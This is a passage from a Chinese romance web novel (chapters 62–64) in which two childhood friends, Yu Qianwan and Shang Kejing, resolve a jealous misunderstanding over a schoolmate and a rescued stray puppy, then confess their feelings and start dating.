当年的虞千绾虽然不知道商恪景的喜欢,但她从来都是拿商恪景当最好的朋友,她很注重友谊中的互相,因为商恪景把别人对他的示好都告知给了她,所以她也没有瞒过他。 火气没有上涌,反倒是委屈飙升。 她忽然偏过了头,唇瓣抿住,唇角难抑地下撇。 商恪景从来都见不得她的眼泪,瞬间就有些慌了神,“……千绾,你听我解释。” 虞千绾知道,他肯定会说出一个合情合理的原因,可当下她就是很难受。 不仅仅是爱情里的计较,还是曾经那么多年的友情,而且听完他的解释以后,她如果再不高兴就好像是在无理取闹,在不懂事,虽然商恪景肯定不会这么说,但她的脑海里她的道德理智和感性会在打架。 所以她没有急着去听商恪景的解释,而是直接询问自己同样耿耿于怀的点,“是只有周松泠一个你没告诉过我,还是很多个?” “只有她。” 得到商恪景这个答案,虞千绾并没有松口气的感觉,反倒心里头更膈应了。 因为如此,周松泠就成了唯一的那个例外,她的特殊性显得更强烈了。 虞千绾知道,其实商恪景怎么回答都不对,因为从她的角度看过去他一开始就错了,他就不该隐瞒,所以无论他回答什么她都不满意。 也就是这一刻,虞千绾彻底清晰地认知到,她喜欢上商恪景了,程度不浅的那种。 她在他面前完全过了朋友度的作,是在见到他之前她自己都没想到的动作和情绪波动,甚至对一向让她有安全感的他产生了些患得患失,甚至—— 有些顾影自怜地夸大地矫情地想“商恪景你现在一定很高兴吧,在我离不开你、喜欢上你的时候发现你也并不是对我毫无隐瞒,可我现在发现也没办法放下了,因为这一点和你的好我的爱无法放在一起比较。” 第62章 第 62 章 “虞千绾,我爱你。”…… 商恪景很见不得虞千绾委屈的样子, 遑论此刻这种委屈还是因他而起,他的心脏跟着揪起。 唇瓣翕动,轻声但很认真地同她解释,仿佛声音大一点就会惊走她, “……对不起千绾, 我确实在周松泠这事上有隐瞒你的地方, 是我做的不对, 但我隐瞒这件事绝对不是出于男女之情, 我和周松泠也真的不太熟。就是因为太不熟,太没必要, 所以才忽略了, 怪我。” 虞千绾没出声,依旧侧着头垂视着地面。 “……千绾。” 商恪景向前半步, 试探性地轻缓拉住虞千绾胳膊,虞千绾显然还处在别扭中, 她挣了挣手, 但又没那么用力。觉察到她并没那么抗拒,商恪景手上力度忽地收紧,将她险些就要从自己手里挣出的细腕牢牢握住。 跟着,商恪景俯下身抱住了虞千绾, 拥住她的情绪。 鼻腔内涌入她的馨香, 他呼吸一窒,而后有些贪婪的将呼吸放得缓但绵长。 虞千绾依旧挣了几下推了几下,但商恪景都岿然不动, 感觉到自己力量的微弱,虞千绾是真有些恼了,眼圈也更红了, 但就在这时,发顶传来的商恪景的呼吸声忽然加重,“虞千绾,我爱你。” 猝不及防的表白,虞千绾一身毛刺瞬间掉落,登时什么脾气都没了。 原本要狠狠捶打在商恪景胸前的手也倏地悬在空中,停滞须臾握拳,缓缓垂放回身侧。 “很爱你……” 商恪景身形弯得更甚,双手都搂在她腰背后,头也低垂下去,额头和面侧在她的肩膀和颈侧面阔时触时离,“也只有你。” 在虞千绾喜欢常桦的那些年里,没名没分就连吃醋不能过多表露出的商恪景曾咬牙切齿暗暗幻想过,未来有一天,虞千绾如果喜欢上他,他也一定要让她尝尝吃醋的滋味。 但很快,他就认命的自行否定,因为他舍不得也做不到在明知她喜欢他的时候刻意做出会让她吃醋的行为,这样的吃醋并不是恋人中的小调剂小情趣,而是不重视对方的情绪,在消耗对方,在给两人之间的关系埋下地雷。她不喜欢他的时候他都不会这么做。 最美好最正常的吃醋就是一个很快就能解决的小误会,或本身就不是什么事,只是占有欲太强的斤斤计较,不过转瞬就会和好,在感情里的小气是很美妙的,起码于商恪景而言是如此。 可惜,虞千绾不会喜欢他,他的幻想打从一开始就只是个幻想。 而今,曾几何时连幻想都不敢多想多盼的人儿就在怀里,她在在意他,在吃醋。 在这一刻,她的情绪全是因他而起。 商恪景却没有感知到在意的喜悦,全是心疼和怜惜,只想快些向她解释清楚。 他右手搭在她后脑勺,覆着她浓密纤长的乌发上下轻抚,“我们知道周松泠的渠道一样,是在学校的荣誉榜上,在初三之前,我一直都不认识她,只是知道这个人,知道她成绩很好。” “不过在初三那年,我偶然和她碰到,其实你也知道的,我有跟你说过有关她的事情,只是那个时候我不知道那个人是她。” “……我也知道?” 虞千绾情绪稳定了些,但理智回笼后愈发感到他们现在的动作太暧昧,脑袋又有些被熏染的晕眩,再听到商恪景这话,她更懵了,她完全不记得自己和周松泠有任何接触。 “嗯,我记不清具体月份了,但是在初三下学期发生的事,就在校外离得最近的那个小区里有个专门给流浪猫狗居住的小房子,我们那会儿隔三差五就会去那里给它们打扫打扫窝,再送些吃的玩的。” 虞千绾记得商恪景说的这个,那次是她发烧请了三天假没去上学,所以商恪景只能自己上学放学。 应该是她发烧第二天傍晚,因为听她说没什么胃口,昨天一天都没怎么吃东西,商恪景放学后特意去距离学校有些远的地方买海鲜粥,因为那家店是虞千绾最爱吃的,算是她在清淡口的吃食里为数不多爱吃的一家。 虞千绾反反复复起烧退烧,人都迷糊了,睡一会儿醒一会儿的,对时间有些缺乏概念,要不是商恪景一回来就冲她道歉说自己路上耽搁了,她都不知道他比原定时间迟了一阵回来。 商恪景解释说外面下雨了,开车本身就要慢一些,他还在买完海鲜粥要上车前发现有个穿着同校校服的女生怀里抱着只小狗边哭边往前走。 女生连把伞都没有,就淋着雨隐忍的哭着不停往前走。下雨的傍晚本就降温,雨水毫无遮挡的淋到身上又冷,女生还把身上为数不多的校服外套脱下来裹在怀里的小狗身上。 商恪景便找司机又要了把伞送给了女生,但女生一个劲哭着摇头,嘴里哭咽着说谢谢。 天色越来越黑了,商恪景看着一个女孩子如此免不得有些担心,尤其她身上还穿着同校的校服,他们学校离这挺远的,想着下雨也不容易打车,他便跟上去问女生要去哪,主动扯了扯校服上印着的校徽告诉她他们是校友,自己不是坏人,她要是回学校那边的话,他可以顺路载她一起。 女生依旧摇头,执拗地继续淋雨往前走。 商恪景这次没再跟上去,只是有些无奈地叹了口气,心念着得让虞千绾吃上热乎的海鲜粥,他一只脚迈入车内打算收伞进车离开了。 恰在此刻,女生突然折返了回来,她应该不是个很会说话的人,口才略有欠缺,但还是竭尽全力向商恪景展示她怀里的小狗有多么的好多么的可爱,最后满眼希冀又紧张地咬着唇近乎恳求的问商恪景能不能养下这只小狗。 对这点,商恪景委实没法帮忙,“抱歉,我爸爸对狗毛猫毛过敏,家里没办法养宠物。” 女生刚烁闪着碎光的眸子刹那间又归于死寂,如同一潭死水,“谢谢……打扰了。” “等等。” 商恪景叫住了她,“你知道我们学校旁边的那个小区吗?那里有个专门给流浪猫狗住的小屋子,我朋友就住那个小区,他跟我提过,说他妈妈有空还会去打扫,算是个小区里爱猫猫狗狗的好心人自发弄的,你这只小狗如果没地方去的话可以送到那里,虽然环境差点,但起码有个遮风挡雨的,有好心人投喂也不至于长时间吃不上饭。” 女生的脸上终于又有了色彩,刚刚还各种拒绝商恪景,现在主动央求,“能麻烦您载我去那个小区吗?我可以加倍给路费的!” “没事,你上来吧,正好顺路。” “谢谢!” 因为怕海鲜粥凉了,商恪景让司机先开去别墅区,把他送回家,然后再让司机送女生去学校旁边的那个小区。 女生连连道谢,把身上所有的钱都掏出来塞给了商恪景。 钱不少,但因为淋了雨,口袋里也湿了,钱也免不得有些湿漉,女生有些歉意的看着商恪景,说要是不行的话她可以等到明天上学的时候带些干净的新钱送到他班级给他。 商恪景就顺手帮个忙,自然不会要女生的钱,而且她给的钱比路费高出了许多倍。 女生更为歉意的说,她其实还想让商恪景用这些钱帮忙后续去小区里照看照看这只狗狗,能给它买些吃的就最好了,她家里人不仅不给她养狗,平常放学后也不给她多在外逗留,所以她没办法经常去校外的小区照看它,只能麻烦商恪景,但她绝不会让他多花钱,他给狗狗花的所有钱她都分毫不差的给他,而且还会给额外照看的钱。 商恪景收下了那沓湿漉漉的钱,因为他觉得他不拿的话,面前的女生不会心安,不过对着女生,他说以后的钱就不用给了,因为他本身遇到流浪猫狗也喜欢买些吃的喂一喂,就当是给自己积德了,所以她不需要这么感到麻烦和抱歉。 女生却不好意思接受这份好意,反复问他的班级和名字,说自己后续一定还是要定期给他钱的,商恪景没说。 车辆正好驶到家门口,商恪景提了提手上的海鲜粥,笑说:“真别客气了,我有自己私心的。我最好的朋友生病了,我得赶快回去陪她了,希望做个好事能让她快些好起来,拜拜。” 不待女生说什么,商恪景就撑开伞下了车关了车门阻隔她的话语,他站在车外刚欲离开,感受到手心里潮湿的钱又想到什么,转而叩了叩主驾驶车窗。 司机降下些车窗后,他绅士叮嘱:“秦叔,你把她送到校外小区的时候可以去帮忙买些狗粮什么的,她身上没钱了也没法打车,天也黑了,麻烦您最好把她送回家,多少钱您回来报给管家就行。” “诶好。” 司机应下。 虞千绾还记得那天商恪景和他描述这事的时候,她一肚子气,面上病恹恹但嘴皮子很快的把那女生的父母都骂了一通。 这样的父母太独断专制了,全然不顾女儿的情感不把狗狗当个生命,说丢就丢。 后来,虞千绾退烧返校上课的第一天,她就巴巴拉着商恪景去宠物商场买了很多给狗狗的小礼物和主食、小零食,两人一块去了学校附近的小区看那只狗狗。 狗狗很乖,没有乱跑,就窝在狗窝的最里面,因为是只很漂亮毫无杂色的纯白色小狗,所以他们很通俗的唤其“小白”。 直到读大学前,两人还时不时的会买很多猫粮狗粮去那个地方放着,他们没那么多时间候在这但有钱,所以希望好心人看到猫猫狗狗的碗里没粮了可以顺便给小家伙们添些粮。 不过在读高中以后,他们就很少再看到小白了,高一高二时去三次差不多还能看到一次,小白比以前活泼了,也熟悉了环境,敢跑敢动了,但高三以后,他们再没看到过小白,问了保安和周围经常去喂食的好心人也没得到个结果,只满脸遗憾的感慨道也是很久没看到了。他们都闭口不提那个流浪猫狗最常见很可怜的结局,都在心里头希望小白只是去闯荡新地点或是被人抱走养了。 “那个女生,就是周松泠。” 即使在商恪景说起小白时,虞千绾已经有所猜测了,但听到他这么说,虞千绾眼睑还是轻跳了下。 “你知道的,我一直不知道那个女生的名字,而且在学校我也不太关注周松泠本人,所以我不知道那个人就是周松泠。” “直到读高中的时候,她在出国前不知道从谁那要来了我的联系方式也不知道怎么知道我名字的,然后通过微信跟我……嗯……表白来着。” ‘表白’两个字,商恪景说的很是含混,语速很快只想揭过。 怀里的人儿却倏地伸手在他腰侧猛掏一拳,阴阳怪气,“商校草这么帅这么多女生喜欢,但凡在学校里多注意些也能打听到你的名字。” 她没收力,落到腰上还挺疼的一下。 商恪景却蓦然笑了,心里头暖洋洋的,他厚脸皮地将虞千绾抱得更紧,“我立刻就拒绝她了,她估计也清楚,并没觉得我会接受,只是想把自己心意说出来而已。不过她家里人好像对她管得很严,如果有什么闲言碎语传出去会给她造成不小的麻烦,所以她问我能不能保密。就算她不提,我也是会保密的,总不能那么没品拒绝了人家的表白还扭头大肆宣扬出去吧,但她提了,我肯定更注意这方面。” “当然,你肯定不是别人。” 商恪景立刻找补,“也不是会说闲言碎语乱传的人,但我毕竟答应人家了,而且人家马上就要出国了,我们说实话也不认识她,是真的不熟,平常见都见不到的那种,和周围别的异性不太一样。而且那会儿你老是不知道我心思,觉得我跟你报备这些是在和你炫耀,我就没说了。不过这事瞒着你,肯定是我不对,以后不会再有类似事情了,但凡有人多看我一眼,我都跟你汇报。” 他尾调的话腔微扬,话语说的浮夸。 虞千绾有些被逗笑,但又想着自己不久前还在发脾气,于是紧急又抑住,一本正经地绷着声音接道:“行,以后谁看你一眼你没报备清楚你就死定了。” 商恪景闷笑。 两人挨得太近,哪怕什么笑声都没发出,但胸腔的轻颤都足以让对方发觉自己的笑意。 他们就这样谁都没说话的抱了半分钟,虞千绾又往他身前打了下,但力道轻了很多,“商恪景你放开我,我要回家了。” “不放,我要让我身上都染上你的味道,让所有都知道,我是你的。” 腻歪的话一套接着一套,齁到招架不住,虞千绾脸颊浮上红晕,以一种轻软的调调说:“商恪景你好烦啊。” 他比对着她的说话格式和语调,但换了个主语,“虞千绾我好喜欢你啊。” 虞千绾彻底将头埋了下去,抵在商恪景胸口抬不起来,耳根红着烫着,双手揪在他身侧微敞的大衣上。 第63章 第 63 章 “千绾,和我交往试试好…… 率先结束这个拥抱的人是虞千绾, 因为她发现有人往这边走过来了。 是两个女生,她们显然也看到了在路边拥搂着的他们,脸上吃瓜的表情都丰富了些,但又怕被当事人发现, 于是故作自如实则频频偷瞄他们。 虞千绾觉察到的那刻就赶忙推开了商恪景, 羞臊转过身快步往车的方向行去。 商恪景太沉浸于刚刚的拥抱中, 直到被冷不丁推开, 他才发现道路那端来了人, 甚至都快要经过他身后了。 他忽然很庆幸身处在这个停车场周围,因为这里有很多个停车场, 而他所在的停车场较偏, 所以没多少人会来这。商恪景也是头次来这,他直接把虞千绾微信发给他的定位转发给了司机, 司机照着开过来,最近的就是这个停车场, 于是就阴差阳错停这了。若不是如此, 怕是早都有人过来了,而她应该也早会狠狠推开他,不会让他抱这么久。 眼瞧着虞千绾越走越快都快要跑起来,商恪景愉悦的轻笑声, 先一步跑起来追上去。 不过这次, 商恪景什么都没说什么都没做,他只是走到了虞千绾身边和她挨着一同往前走。 他一过来,虞千绾感觉呼吸都稀薄了。 但面上故意克制着, 不扭头去看他,就一个劲朝前走。 直到行至车边,虞千绾伸手想去开车门, 商恪景的手却跟着压上来摁住了她的手没让她打开门。 虞千绾一个眼神扫过去刚要恼羞成怒的‘攻击’他,主驾驶的门却突然打开了,是司机听到动静发现他们回来想要下车来帮他们开车门。 虞千绾瞬时噤了声,将手从商恪景手下抽了出来。 倒不是想要躲避什么,而是司机用了有些年头,和他们都挺熟的,也颇有些看着他们长大的长辈感,在长辈的眼皮底下手搭手莫名会觉得心虚。 商恪景看起来却自如多了,他抬头就对着斜对角的司机笑了笑道:“不用您来,我们自己上就行。” “好。”司机笑着点了点头应下,跟着微微侧首朝着虞千绾也颔了颔首算作打招呼,而后又上了车关上车门。 虞千绾很不爽于商恪景这样的姿态,好像就她一个人在紧张,她伸手在他腰上掐一下,还是伸入大衣内掐的那种,否则衣服太厚都不太能够掐到他。 不过隔着一层层的西装面料,掐起来再疼也疼不到哪去,但也绝对不轻,尤其是很猝然的一下,商恪景嘴上本能的发出声痛嘶,感性上感知到的却不是痛,而是她的羞和可爱,特别是垂首瞧见虞千绾骄矜得意起来的神情。 她这招玩了不知道多少年,商恪景的记忆里都寻不到源头,总之她每次拿他没辙但又心里头情绪翻涌的时候就会这么掐他,特别特别生气的时候还会在掐住肉的时候狠拧两圈,那时候是最疼的。 有时,他第二天第三天忽然发现自己被拧的地方起了些青痕,足可见她的力度有多重。现在,他倒有些巴不得留下痕迹,那样他就可以顺势拍张照片发给她卖惨了,正好可以在照片的角落里心机向她证明一下他的腹肌还在——永誉集团里设有专门的高层健身场所,商恪景中午午休的时候不睡觉就会刷商知珩的卡去锻炼一会儿。 虞千绾被商恪景持续低头盯着的视线弄得又有些不自在,她别开视线,咕哝:“开车门啊……” 话音刚落,商恪景一直把在车门上的手随之而动,车门缓缓打开。 虞千绾所看到的车内范围也一点点变大,看清的那刻,她本就圆碌的眼睛睁得更大,难掩惊喜和愕然地望了眼商恪景。 “请吧,千绾总。” 商恪景身形微弯,一手朝着车内做了个请的姿势,另手挡在车顶上防止磕到她,全程笑吟吟看着她。 车后座中间摆着一束火红色系的花,非常惹眼非常有视觉上的冲击力,其余有空隙能插花的位置也都被插上了不同种类的花,但都同样的好看,各有特色。 车顶还向下悬了些会发光的彩灯串,虞千绾在车外瞧见的时候还以为是商恪景想要靠这些营造出氛围感,坐到车里才发现那压根不是单纯的彩灯串,下面还坠着饰——手链、项链、耳坠、戒指…… 看到戒指的时候,虞千绾心头漏了拍,幸而定睛一瞧,并不是婚戒会选的款,价格也没那么贵,只是她会喜欢日常戴出去的款式。 想来商恪景只是单纯出于知道她喜欢佩戴饰品所以买来送她的,并没旁的心思。 一旁还放置个较大的奢侈品盒子,虞千绾扫了眼品牌,不出意外应该是包包。 她刚要拿起拆开查看,在她上车后为她关上车门绕到另侧的商恪景打开了车门,他坐上来了。 “什么时候准备的这些?” 说不高兴是假的,但除高兴外,虞千绾还有些难为情,因为商恪景在车上弄这些,即便是打开了前座和后座之间的隔板,但这些花啊礼物啊得弄上车吧,这过程中司机多多少少会觉察到的。 “就来到这以后,一个人吃饭没意思,想等你一起,空闲时间很多。想着你第一次单独出来和人合作,算是事业上的新经历吧,我就去商场里逛了逛给你买了这些当做辛苦一天的回馈。” “你一个人吗?还是……” 虞千绾隔着隔板指了指主驾驶座的位置。 “我一个,放心,他不知道。” 虞千绾鼻尖轻皱,显然并不认可,但先是情绪激动后又是拥抱现在又是礼物惊喜,虞千绾整个人都像是化成了一汪柔水,眼神泛波,声音也腻腻乎乎的,“隔板一开,就算没事都够惹人遐想了。何况……” 他们之间确实有事,确实不单纯。 “何况什么?” 商恪景装傻,明知故问地凑了过来。 “……少装,你都知道。” 虞千绾低下头去,细长的手指拨弄着包包外盒上装饰的系带,纤浓的乌睫眨动速度不自觉加快。 身侧阴影一晃,是商恪景的手自她身前横了过去,抵在她这侧的车门边,顿时形成一种用手臂和宽阔的身躯将虞千绾包裹在其中的局面。 虞千绾拨弄着系带的手指一顿,略显局促地舔了舔唇。 “嗯,我知道。” 商恪景呼吸也轻浅了许多,尽可能温柔的声线因为紧张微微绷着,“那么……我喜欢你这件事,你也清楚知道了吧?” 贝齿咬住下唇,虞千绾手指忍不住收紧。 她暗暗在心里骂自己没出息,分明这件事她已经知道好一阵了啊,他也知道她知道,可在明面上说出来,她也不知道怎么就这么紧张。 “千绾。” 他更轻更柔地唤了她声,虞千绾下意识掀眸应了下,“嗯?” 商恪景本就是低头微微俯着身的,虞千绾再把头抬起,两人高挺的鼻尖都险些撞到一起。 几度濒临窒息的呼吸在这刻终于绷不住,急促地滚烫地自鼻下呼出,他们近的连鼻息都在那样亲昵的交缠,亦可以感受到对方扑撒到自己面阔的温热。 暧昧迅速滋生,漂亮的花朵们也仿佛被一同滋生出更为馥郁的香气,在后座的密闭空间内萦绕。 分明心跳都跳动的要告竭,每一寸皮肤都在升温,他们却谁都没有错开视线,持续盯着对方。 眼神在这样的注视下一点点先是变得柔和、氤氲,而后又沾染上带些侵占欲的晦暗。 虞千绾有些急促的从鼻息间哼出这一声浅调,“嗯……” 算作回答他,她知道了。 喉结重重滚了滚,商恪景的声音因为忍耐着紧张着等待她的结果而有些发哑,“……那你呢?” 他没能忍住,另手缓缓抬起,小心翼翼用食指指背在她柔软细腻的面侧轻轻摩挲两下,“对我,有些喜欢吗?” 虞千绾脸颊本就因为害羞和情动微微泛着粉晕,他的手忽而触上,她既觉痒又觉更暧昧了,脸颊的色泽又甚了几分。 刚刚还耐心很足静静等着她答复的商恪景这会儿好像一秒都多等不了,他又探出两指,用指背在她面侧极尽缱绻地抚了抚,嗓音更为暗哑,还带着紧张的颤,“千绾,和我交往试试好不好?” 眼睑重颤了一下。 虞千绾忽然很受不了商恪景的触碰,好痒好痒,可明明只是表层皮肤,为什么她的心脏也这样发麻呢。 下意识的,她猛地抬手抓住了商恪景悬在她面侧一寸的手指。 就在她抓上去的那一刻,商恪景瞳孔也颤了下,随即,他有力的骨节分明的长指就忽然张开,硬生生挤入了她指缝中同她十指交扣。 虞千绾呼吸更乱更快了,连带着胸脯都在快速起伏着。 商恪景身形又下压了一分,以鼻尖轻轻蹭了蹭她的鼻尖。 他的呼吸都要停滞,虞千绾感受不到,只感觉到他的肢体很僵硬,以及他那很轻很轻但很深情的声,“我喜欢你千绾,从好多好多年前,从我自己都不知道的时刻。” “我也……” 虞千绾视线飞速地从他五官掠过,然后低垂着,只敢看着他胸口的位置,声音细弱蚊蝇仿若无声,“……喜欢你。” 面前持续绷着劲的男人终于卸下劲来,直接将虞千绾抱了个满怀,压抑隐忍的情绪最终化作一枚很轻很谨慎的吻覆在她越来越热的面侧。 而后便没有再亲昵的举动,他只是牢牢的贴着她,拥着她,好像松一点美梦就会破碎。 耳畔,商恪景的呼吸声突然就变得很粗很急,像是一个落水的人得救。 但随着时间,喘息声渐渐缓下些,反倒是有些性感。 第一次和异性这么近挨着,他的呼吸几乎全都落在她的颈间。 刚刚……他还吻了她,虽然只是很青涩很纯情的面颊吻,但那于虞千绾而言也是头次,是全新的害羞的体验。 颈侧,商恪景毛茸茸的脑袋小幅度蹭了蹭。 虞千绾没忍住,抬手摸了摸他的脑袋,指间感受着他硬到有些扎人的、短簇的黑发,另手主动环到他颈后亲昵搂住他。 与之同时,她还侧过头,蜻蜓点水般快速在他脸颊也亲了下。 刚还温顺如大狗狗的商恪景突然像是敏捷的猎豹,他倏然弓起身,视线锁定住虞千绾的唇。 虞千绾紧急捂住唇,满目羞嗔地瞧着商恪景摇了摇头,小声,“不可以,还在车里……” 司机还在前面,中间就隔着块隔板,她好害羞。 商恪景身形依旧压了下来,但落在了她反手捂着唇的掌心,像做梦般悬浮。 他微微晃神了几瞬,还有些如梦似幻地追问:“所以,我们现在是在一起了吗?” “不然呢?” 虞千绾又羞又恼地朝他肩膀锤了下,不知道他在问什么蠢问题,亲都亲了。 商恪景由内而外满足的笑了声,神韵一下就丰满明朗起来。 再去触虞千绾的脸颊,这一次,商恪景右手五指都放了上去,几乎拢住了她一半的脸,拇指指腹轻轻摩挲着。 有了身份的他终于可以光明正大的靠近她触摸她,他的眼神不再像刚刚那般克制晦暗,而是用一种不掺杂过多情欲的纯爱的眼神看着她。 虞千绾都快要被他看得难为情了。 但就好像是青梅竹马闹闹笑笑这么多年的习惯行为,虞千绾感觉这种时候如果自己先避开就是自己输了,于是她努力保持着原貌。 “今天——” 商恪景的拇指流转到虞千绾眼尾,避开眼妆抚着,“是不一样的美。” 他不提,虞千绾都险些忘了,她今天化的是不一样的妆。 出门前,她还期待着他晚上接她时看到的反应呢。 果然,商恪景从来都不会让虞千绾失望,即便她什么都不说他也总能发现她的变化。 虞千绾高高扬着眉眼,笑得粲然。 虽然今天是他们在一起的第一天,但是她近乎笃定地认为这会是一段很有趣很稳定的爱情,毕竟在没有爱情前他们就已经这样度过了二十多年。 商恪景看着她笑,情不自禁也笑。 若是知道她的心想,怕是会笑得更恣意。 第64章 第 64 章 “我不介意你的口红多在…… 两个习惯了多年朋友关系的人突然转变为情侣, 欣喜是真的,爱是真的,无所适从也是真的。 当汹涌澎湃的暗昧氛围没再那么激烈后,他们之间就莫名尴尬了下来, 尤其在虞千绾拆开了包包的包装, 拿下车顶悬着的那些饰品后, 他们彻底没了就礼物顺其自然开启的话题, 氛围一时间有些僵住。 虞千绾抱着花束时而低头拨弄几下, 时而又尬又想笑的竭力忍着,望向车窗外。 坐在另边的商恪景手上连束花都没有, 看起来便更显不自然, 他就只能装模作样拨弄几下面前悬着的彩灯串,再瞄瞄窗外, 瞄瞄她。 脑海里充斥着他吻她、她吻他、他们紧抱的画面…… 就像是一个天大的馅饼就那么砸到了希冀已久的他的头上,商恪景脑袋被幸福冲击的近乎宕机, 他将车窗按下了些, 由着外头的冷风卷入些,以此逼迫自己清醒。 “哦,对了。” 终于想到新话题的商恪景当即坐直了身子,扭头看向虞千绾的位置, “晚餐想去哪里吃?双喜临门, 好好庆祝一下。” 这个点早过了晚餐点,他早就饿了,但见到虞千绾后发生这一连串的事, 他深陷其中高兴不已,晕乎的都忘了最基本的生理需求。 吹冷风还是有些用的,让他想了起来。 虞千绾也扭头看向商恪景, 眉毛轻抬,“双喜?” 但在看清商恪景的那刻,她突然有些社死,视线倏地锁定在他的侧脸上,那里有着一小片明显甚于其它皮肤的粉调,并不是因为自身翻涌情绪而升起的,是外物沾上去的。 始作俑者虞千绾非常清楚那是什么,是她的口红。 她那一下虽然在他的脸上亲的很轻,但还是留下了浅浅的口红印,她及时借由摸他脸的动作赶忙给他擦拭了。 彼时他俩离得太近,视线受阻,光线也受阻,虞千绾本以为自己擦干净了。 但此刻拉开些距离,光线又那样清明的透过车窗照进来将他们的脸都照的很清晰。 虞千绾这才发现,她并没有将商恪景的脸擦干净,色泽确实淡了,但原先那枚小小的唇印却因为她的擦拭又向外扩散了不少。 商恪景还没意识到,他轻咳了声做掩,身体却在一点一点朝虞千绾挪近,然后,他在她的注视下缓缓抬手握住了她置于他这边的手,逐渐握紧,唇角上扬,“一个喜呢,是你今天的工作圆满完成,第二个当然是——我们确定关系。” “的确是个很值得庆祝的日子,但我今天在外面走了好久,我累了,只想快点回家换下高跟鞋和束缚人的衣服。” 比之平常和商恪景讲话的调调,虞千绾显然多添了几分小女生的娇意,声线还微微不自察的夹起了些,“点个外卖一起在家里吃也挺不错的嘛,重要的是,我们俩一起就好。” 商恪景只在虞千绾和常桦通电话的时候见过她这样的一面,现在她就这么灵动、娇俏的同自己说话,还挨得这么近,商恪景只觉自己半边身子的骨头都酥了。 “……好。”他声音柔的不能再柔,“我现在点,想吃什么?” “嗯……” 虞千绾听着他陌生又熟悉的声线,抿着笑瞧了他眼,圆圆的大眼睛笑得微弯,开口又是万年不变的——“火锅吧!要爆辣的,很适合这个季节。” “好。” 商恪景太了解她吃火锅的时候会点哪些,执着手机的手迅速在那些菜品上点击着加号,选的差不多后朝她的方向递了递,“看看这些行吗?还有没有什么缺的?” 虞千绾没接过他的手机,身形微动,更近的挨了过去,小巧的下巴直接搭靠在他肩头,视线垂下顺势就这么看。 商恪景呼吸微窒,暗喜的同时又懊悔于自己刚刚那略显笨拙的动作,他该主动把她搂到怀里让她看才是,还傻傻让人家女孩子主动贴过来。 商恪景持续举着手机,虞千绾探出指尖悬在手机屏幕上,时而滑动向下查看他点的菜。 看完后,虞千绾满意弯了弯唇,都是她爱吃的,无需再多点什么。不过吃火锅怎么能不喝些饮料呢,于是虞千绾又继续着这姿势点了两杯奶茶,一杯是她爱喝的,另杯是她没喝过但还挺想尝试的。 两人没在一起的时候,虞千绾就常这么干,商恪景在这方面嘴没那么刁,凑合着都能喝。 只不过那时虞千绾想尝他的那杯奶茶味道只能事先倒出来,确定自己不是很爱喝再让他插吸管喝。现在则不同,他们可以光明正大共用一根吸管。 初尝恋爱滋味的虞千绾在这样一个小点上都感到难以言说的甜蜜,面上始终挂着笑颜。 点完外卖后,商恪景收起了手机,犹豫了不知多少次的另手终于有勇气环到了虞千绾肩头,动作间略显僵硬地将人儿更紧的圈到了自己怀里。 虞千绾有些难为情但又打心底里雀跃,花束就这么被搁置在了一旁,她转而用两手牢牢抱住了商恪景的腰,微红的脸颊埋在他胸膛嗅着他身上好闻的气息。 商恪景也将她抱得越来越紧,下颚渐渐搭靠在她发顶,时而再缱绻地用脸侧蹭蹭。 初恋的两人坠入爱河,陷在浓情蜜意中难以自拔。 虞千绾的右手顺着商恪景胸膛一点点向上,滑过他脖颈落在他面颊的时候,他的身体是紧绷的,心脏是鼓噪的,看向她的眼神是难以自制的暗涌。 但想着他们才刚交往,亲脸已经算进度快的了,如果再突然吻她的唇她可能会不自在,而且这是在车里,她刚刚拒绝了他一次,商恪景仅存的那点自制力只能让他尊重她明确说出的意愿不去吻她的唇,但在她的额头、眉眼、鼻尖、面颊到处流转。 商恪景可以清晰感觉到虞千绾的羞赧,唇下的面肤温度在持续升温,但她的手一直在他面侧动着,并且不同于一开始的摩挲,大抵是适应了他缠绵的吻,她手上的动作逐渐有些粗暴。 起初,商恪景忍着,想着虞千绾也是初次恋爱,控制不住调情力度也实属正常,但持续好一阵,商恪景委实有些遭不住,他感觉自己那片脸皮都要被揉烂了,有些疼丝丝的,最重要的是,虞千绾不再用那样媚眼如丝的眼神望着他了,她的注意力也不知道为什么好像都放在他的脸上,而且不是对他这张脸的喜欢,而是一种……势在必得的决心? “千绾。” 商恪景有些无奈的,啼笑皆非地开了口,“你是想在交往第一天,就让你男朋友毁容吗?” 虞千绾登时也没绷住,扑哧轻笑了声。 她也实在是没辙了,再这么耽搁下去都要到家了,她只得将自己沾染了口红的指腹伸给他瞧,一汪大眼睛无辜眨了眨,“出了点小意外,刚刚——” “亲你的时候。” 这几个字,她说的很快速就揭过,“不小心沾到了你脸上,但怎么都擦不干净,总还有点红印,可能需要用湿纸巾才行……” 完全始料未及的答案。 商恪景怔了下,脑袋骤然埋下,抵在她颈窝里,笑音跟着漫出,颀长的身形都在颤。 虞千绾有些害臊,她也没想到平常感觉很快就掉了需要补妆的口红这时候这么坚韧。 但听着商恪景的笑,她也有些闷不住,也垂着头笑,手指有些羞恼的在他身前打了两下,商恪景顺势握住她的手,在唇前亲了下,“我不介意你的口红多在我的脸上沾些。” 虞千绾感受到他唇温的手指如过电般一麻,再听到商恪景这话都莫名替他感到羞耻,不自觉跺脚的同时低“啊”了声,羞愤道:“商恪景,我以前怎么没发现你脸皮这么厚?” 商恪景耳根也早红了,但没办法,这种时候他总不能跟着虞千绾一块羞吧,那怕是氛围又要回归刚刚那般的死寂尴尬了。 他便只是将头在虞千绾颈窝处埋得更深,不看着她的眼睛,他才能把这些发自内心但又有些难以开口的话继续说出,“以前是朋友,肯定不能这样。你之前不是总好奇我恋爱后会是什么样吗?以后你会一刻都不错过的亲自见证了。” 昔日频频朝着商恪景好奇问出这些话的时候,虞千绾绝没有想到现在的情形,但心境不同,现在回想只觉得很浪漫,他们有那么那么多的共同记忆。 作为女朋友,虞千绾也可以将暧昧期别别扭扭的话在哼哼两声后傲娇但带笑地说出,“那我现在是不是也能直白警告你,像周松泠这样的事你再犯第二次,你就死定了商恪景。” 商恪景举起双手,身形也坐起了些做出投降状,“一直都可以,绝对绝对不会有第二次。” “我在永誉非常的安分守己,我每天大部分时间都和陶助理待在办公室里,并且项目组里的人都知道我有喜欢的女生在追求,明天他们就都会知道我非单身了。截止到目前,没有任何一个人和我表达过男女之情,如果以后有,我一定第一时间向女朋友大人报备。还请女朋友大人不要因此不信任我,也不要对此耿耿于怀气坏了自己。” 很诚恳很老实的一双眼睛,虞千绾哼笑声,倾身主动朝他的右手手掌拍了下,“行吧。” 